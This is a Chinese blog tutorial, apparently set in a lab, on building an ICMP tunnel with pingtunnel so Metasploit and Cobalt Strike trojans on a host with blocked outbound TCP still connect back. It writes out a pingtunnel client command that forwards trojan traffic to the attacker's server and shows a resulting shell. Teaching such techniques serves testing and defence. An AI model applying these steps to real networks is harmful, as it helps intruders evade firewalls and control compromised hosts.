【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS

2024-08-25 00:52

本文主要是介绍【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

~ 会当凌绝顶,一览众山小 ~

前言

博客主页:h0ack1r丶羽~ 从0到1~

img

渗透测试中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道,实现靶机上线MSF/CS的过程】,以及它的原理解释,如果哪里说错了,还请师傅们指出,谢谢您。

image-20240824194826922

靶机能上TCP

首先我们使用msfvenom生成widows木马 设置好payload

image-20240823144044493

开启监听

image-20240823144107736

运行即可上线

image-20240823144133503

正常情况下木马使用的是TCP协议,靶机能上网,那么靶机不能上网,阻止了防火墙出网呢?也不能走TCP访问攻击机器呢?这个时候MSF就不能通过TCP协议上线,下面将演示MSF通过ICMP协议上线靶机

阻止TCP连接环境搭建

检查网络通信,可以ping通百度

image-20240823144157593

也可以正常访问百度

image-20240824191834453

靶机启用防火墙

image-20240823155238044

kali攻击机器ping(访问)靶机就不通了

image-20240823144407488

靶机阻止防火墙所有出站TCP规则,也就是我们靶机访问不了外网,浏览器打不开百度了

image-20240823155314701

设置为阻止

image-20240823155334033

全部勾选

image-20240823155348975

这个时候可以ping通百度,但是tcp无法访问(浏览器访问网站这个操作,就是走的TCP协议),而ping使用的是icmp协议,所以可以ping通百度,也可以ping(访问)通我们的攻击机

image-20240823155435817

没上线成功的过程就不演示了,作用不大

注:木马走的都是tcp协议,此时我们禁用了TCP协议,msf就无法上线,该怎么绕过呢?

工具使用

这时候我们就需要一个工具

MSF隧道搭建工具pingtunnel

工具链接

链接:百度网盘 请输入提取码 提取码:1212

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。

在本次教程中它的主要作用,如图

image-20240824181507710

这张图主要介绍了两个部分

1、靶机使用容器,将tcp数据包打包为icmp数据包

2、msf接收的时候,将icmp数据包还原成tcp数据包

实现过程

下载好工具后把他移到kali中

image-20240824181921093

kali启用PingTunnel服务器

image-20240823154349816

此时kali生成的木马需要是127.0.0.1,端口为靶机监听的地址(原理待会解释)

image-20240823173154040

PingTunnel把木马的TCP数据包封装为ICMP数据包,这时候就可以通过ICMP协议发送到攻击机服务器

工具使用教程如下

image-20240823155549529

命令解释

image-20240824182555235

pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1

image-20240823164547494

运行

image-20240823162427792

查看kali服务端,icmp协议已成功收到靶机的访问请求

image-20240823163445198

MSF设置监听端口9999,本地地址为0.0.0.0全局地址

image-20240823172553344

当PingTunnel服务器接收到靶机的ICMP数据包的时候,PingTunnel就会将ICMP数据包拆解为TCP数据包,这时候MSF就会接收到此”TCP请求“,即可成功利用icmp隧道成功上线MSF

image-20240823172227455

执行命令

image-20240823172504686

原理解释

再来看这张图

image-20240824181507710

结合上面的结构图和这个案例即可得到原理,攻击机器生成木马,并传到靶机上,靶机运行木马在本地的8888端口,而PingTunnel在靶机上将这个端口的TCP流量打包,转发到攻击机刚刚开启的PingTunnel服务器,PingTunnel服务器接收到这个icmp请求之后,将这个ICMP包进行拆解转化为TCP协议,最后将这个TCP协议转发到攻击机器(kali)MSF监听的端口,此时就可以完成MSF上线

CS通过ICMP上线

CS也是一样的原理,主机cs生成木马,送到靶机,添加两个监听器,靶机自己监听地址

image-20240823175907442

kali接受shell地址

image-20240823181221244

如下

image-20240823181239100

生成payload,选择靶机的监听地址

image-20240823175957426

放入靶机

image-20240823180638826

运行木马之后,再运行pingtunnel,转发到攻击机的服务器

pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1

成功上线,如果没上线成功,这个红色的框一定要检查是否正确

image-20240823181140245

whoami

image-20240823181342411

总结

本文详细讲解了在内网渗透中,当常规的网络通信手段(如TCP协议)受阻时,如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器,将TCP数据包封装在ICMP数据包中,利用ICMP协议进行数据传输,从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理,并通过实际案例展示了其应用过程。

image-20240821152514635

感今怀昔

最新可用,bp+charles小程序抓包教程

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

【kali笔记】一款强大的Web目录扫描工具DIRB使用指南

PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解【附靶机链接】

PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

这篇关于【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/1104098

相关文章

Java利用JSONPath操作JSON数据的技术指南

《Java利用JSONPath操作JSON数据的技术指南》JSONPath是一种强大的工具,用于查询和操作JSON数据,类似于SQL的语法,它为处理复杂的JSON数据结构提供了简单且高效... 目录1、简述2、什么是 jsONPath?3、Java 示例3.1 基本查询3.2 过滤查询3.3 递归搜索3.4

Python中随机休眠技术原理与应用详解

《Python中随机休眠技术原理与应用详解》在编程中,让程序暂停执行特定时间是常见需求,当需要引入不确定性时,随机休眠就成为关键技巧,下面我们就来看看Python中随机休眠技术的具体实现与应用吧... 目录引言一、实现原理与基础方法1.1 核心函数解析1.2 基础实现模板1.3 整数版实现二、典型应用场景2

SpringBoot中封装Cors自动配置方式

《SpringBoot中封装Cors自动配置方式》:本文主要介绍SpringBoot中封装Cors自动配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录SpringBoot封装Cors自动配置背景实现步骤1. 创建 GlobalCorsProperties

Java导入、导出excel用法步骤保姆级教程(附封装好的工具类)

《Java导入、导出excel用法步骤保姆级教程(附封装好的工具类)》:本文主要介绍Java导入、导出excel的相关资料,讲解了使用Java和ApachePOI库将数据导出为Excel文件,包括... 目录前言一、引入Apache POI依赖二、用法&步骤2.1 创建Excel的元素2.3 样式和字体2.

JAVA封装多线程实现的方式及原理

《JAVA封装多线程实现的方式及原理》:本文主要介绍Java中封装多线程的原理和常见方式,通过封装可以简化多线程的使用,提高安全性,并增强代码的可维护性和可扩展性,需要的朋友可以参考下... 目录前言一、封装的目标二、常见的封装方式及原理总结前言在 Java 中,封装多线程的原理主要围绕着将多线程相关的操

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

C++实现封装的顺序表的操作与实践

《C++实现封装的顺序表的操作与实践》在程序设计中,顺序表是一种常见的线性数据结构,通常用于存储具有固定顺序的元素,与链表不同,顺序表中的元素是连续存储的,因此访问速度较快,但插入和删除操作的效率可能... 目录一、顺序表的基本概念二、顺序表类的设计1. 顺序表类的成员变量2. 构造函数和析构函数三、顺序表

Go语言利用泛型封装常见的Map操作

《Go语言利用泛型封装常见的Map操作》Go语言在1.18版本中引入了泛型,这是Go语言发展的一个重要里程碑,它极大地增强了语言的表达能力和灵活性,本文将通过泛型实现封装常见的Map操作,感... 目录什么是泛型泛型解决了什么问题Go泛型基于泛型的常见Map操作代码合集总结什么是泛型泛型是一种编程范式,允

2. c#从不同cs的文件调用函数

1.文件目录如下: 2. Program.cs文件的主函数如下 using System;using System.Collections.Generic;using System.Linq;using System.Threading.Tasks;using System.Windows.Forms;namespace datasAnalysis{internal static

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业